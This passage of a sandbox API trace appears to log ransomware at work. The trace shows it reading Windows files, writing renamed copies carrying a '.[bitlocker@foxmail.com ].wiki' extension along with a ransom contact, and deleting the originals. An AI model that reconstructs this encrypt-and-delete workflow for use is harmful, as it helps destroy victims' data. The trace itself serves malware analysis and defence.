lpOverlapped=0x0) returned 1 [0043.419] ReadFile (in: hFile=0x170, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.419] WriteFile (in: hFile=0x174, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.419] SetEndOfFile (hFile=0x174) returned 1 [0043.419] CloseHandle (hObject=0x174) returned 1 [0043.420] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.420] SetEndOfFile (hFile=0x170) returned 1 [0043.421] CloseHandle (hObject=0x170) returned 1 [0043.421] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x27) returned 1 [0043.421] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0043.421] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.421] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.421] lstrlenW (lpString=".doc") returned 4 [0043.422] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString=".docx") returned 5 [0043.422] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0043.422] lstrlenW (lpString=".pdf") returned 4 [0043.422] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString=".xls") returned 4 [0043.422] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString=".xlsx") returned 5 [0043.422] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0043.422] lstrlenW (lpString=".ppt") returned 4 [0043.422] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.422] lstrlenW (lpString=".zip") returned 4 [0043.422] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString=".rar") returned 4 [0043.422] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString=".bz2") returned 4 [0043.422] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString=".7z") returned 3 [0043.422] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0043.422] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.422] lstrlenW (lpString=".dbf") returned 4 [0043.422] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.422] lstrlenW (lpString=".1cd") returned 4 [0043.422] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0043.422] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.422] lstrlenW (lpString=".jpg") returned 4 [0043.422] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.422] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.422] lstrlenW (lpString=".doc") returned 4 [0043.422] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0043.422] lstrlenW (lpString=".docx") returned 5 [0043.423] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0043.423] lstrlenW (lpString=".pdf") returned 4 [0043.423] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0043.423] lstrlenW (lpString=".xls") returned 4 [0043.423] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0043.423] lstrlenW (lpString=".xlsx") returned 5 [0043.423] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0043.423] lstrlenW (lpString=".ppt") returned 4 [0043.423] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0043.423] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.423] lstrlenW (lpString=".zip") returned 4 [0043.423] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0043.423] lstrlenW (lpString=".rar") returned 4 [0043.423] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0043.423] lstrlenW (lpString=".bz2") returned 4 [0043.423] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0043.423] lstrlenW (lpString=".7z") returned 3 [0043.423] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0043.423] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.423] lstrlenW (lpString=".dbf") returned 4 [0043.423] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0043.423] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.423] lstrlenW (lpString=".1cd") returned 4 [0043.423] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0043.423] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0043.423] lstrlenW (lpString=".jpg") returned 4 [0043.423] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0043.423] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0043.423] lstrlenW (lpString="Setup.xml") returned 9 [0043.424] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.879] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2296) returned 1 [0044.886] CloseHandle (hObject=0x1b4) returned 1 [0044.887] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.887] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.887] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.887] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.887] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.887] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0044.887] GetLastError () returned 0x0 [0044.887] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x8f8, lpOverlapped=0x0) returned 1 [0044.889] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x900, lpOverlapped=0x0) returned 1 [0044.890] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.890] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.890] SetEndOfFile (hFile=0x1b8) returned 1 [0044.890] CloseHandle (hObject=0x1b8) returned 1 [0044.891] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.891] SetEndOfFile (hFile=0x1b4) returned 1 [0044.892] CloseHandle (hObject=0x1b4) returned 1 [0044.892] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.892] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.892] lstrlenW (lpString=".doc") returned 4 [0044.892] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.892] lstrlenW (lpString=".docx") returned 5 [0044.892] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.892] lstrlenW (lpString=".pdf") returned 4 [0044.892] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.892] lstrlenW (lpString=".xls") returned 4 [0044.892] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.892] lstrlenW (lpString=".xlsx") returned 5 [0044.892] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.892] lstrlenW (lpString=".ppt") returned 4 [0044.892] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.892] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.892] lstrlenW (lpString=".zip") returned 4 [0044.892] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.892] lstrlenW (lpString=".rar") returned 4 [0044.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString=".bz2") returned 4 [0044.893] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString=".7z") returned 3 [0044.893] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.893] lstrlenW (lpString=".dbf") returned 4 [0044.893] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.893] lstrlenW (lpString=".1cd") returned 4 [0044.893] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.893] lstrlenW (lpString=".jpg") returned 4 [0044.893] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.893] lstrlenW (lpString=".doc") returned 4 [0044.893] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString=".docx") returned 5 [0044.893] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.893] lstrlenW (lpString=".pdf") returned 4 [0044.893] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString=".xls") returned 4 [0044.893] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString=".xlsx") returned 5 [0044.893] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.893] lstrlenW (lpString=".ppt") returned 4 [0044.893] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.893] lstrlenW (lpString=".zip") returned 4 [0044.893] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.893] lstrlenW (lpString=".rar") returned 4 [0044.893] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString=".bz2") returned 4 [0044.893] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.893] lstrlenW (lpString=".7z") returned 3 [0044.893] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.893] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.894] lstrlenW (lpString=".dbf") returned 4 [0044.894] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.894] lstrlenW (lpString=".1cd") returned 4 [0044.894] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.894] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.894] lstrlenW (lpString=".jpg") returned 4 [0044.894] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.894] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.894] lstrlenW (lpString="Setup.xml") returned 9 [0044.894] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.895] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=6241) returned 1 [0044.895] CloseHandle (hObject=0x1b4) returned 1 [0044.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0044.896] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.896] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.896] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.896] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0044.898] GetLastError () returned 0x0 [0044.898] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1861, lpOverlapped=0x0) returned 1 [0044.900] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0044.901] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.901] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0044.901] SetEndOfFile (hFile=0x1b8) returned 1 [0044.903] CloseHandle (hObject=0x1b8) returned 1 [0044.904] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.904] SetEndOfFile (hFile=0x1b4) returned 1 [0044.905] CloseHandle (hObject=0x1b4) returned 1 [0044.905] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0044.905] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0044.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.905] lstrlenW (lpString=".doc") returned 4 [0044.905] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.905] lstrlenW (lpString=".docx") returned 5 [0044.905] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.905] lstrlenW (lpString=".pdf") returned 4 [0044.905] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.905] lstrlenW (lpString=".xls") returned 4 [0044.905] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.905] lstrlenW (lpString=".xlsx") returned 5 [0044.905] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.905] lstrlenW (lpString=".ppt") returned 4 [0044.905] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.905] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.905] lstrlenW (lpString=".zip") returned 4 [0044.905] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.905] lstrlenW (lpString=".rar") returned 4 [0044.905] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.905] lstrlenW (lpString=".bz2") returned 4 [0044.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString=".7z") returned 3 [0044.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.906] lstrlenW (lpString=".dbf") returned 4 [0044.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.906] lstrlenW (lpString=".1cd") returned 4 [0044.906] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.906] lstrlenW (lpString=".jpg") returned 4 [0044.906] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.906] lstrlenW (lpString=".doc") returned 4 [0044.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString=".docx") returned 5 [0044.906] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0044.906] lstrlenW (lpString=".pdf") returned 4 [0044.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString=".xls") returned 4 [0044.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString=".xlsx") returned 5 [0044.906] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0044.906] lstrlenW (lpString=".ppt") returned 4 [0044.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.906] lstrlenW (lpString=".zip") returned 4 [0044.906] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0044.906] lstrlenW (lpString=".rar") returned 4 [0044.906] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString=".bz2") returned 4 [0044.906] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString=".7z") returned 3 [0044.906] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.906] lstrlenW (lpString=".dbf") returned 4 [0044.906] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0044.906] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.907] lstrlenW (lpString=".1cd") returned 4 [0044.907] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0044.907] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0044.907] lstrlenW (lpString=".jpg") returned 4 [0044.907] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0044.907] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0044.907] lstrlenW (lpString="VisioMUI.xml") returned 12 [0044.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.907] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9503) returned 1 [0044.907] CloseHandle (hObject=0x1b4) returned 1 [0044.907] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 0x2020 [0044.907] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0044.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0044.907] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.907] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.907] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0044.908] GetLastError () returned 0x0 [0044.908] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x251f, lpOverlapped=0x0) returned 1 [0044.909] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0044.910] ReadFile (in: hFile=0x1b4, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.910] WriteFile (in: hFile=0x1b8, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.910] SetEndOfFile (hFile=0x1b8) returned 1 [0044.910] 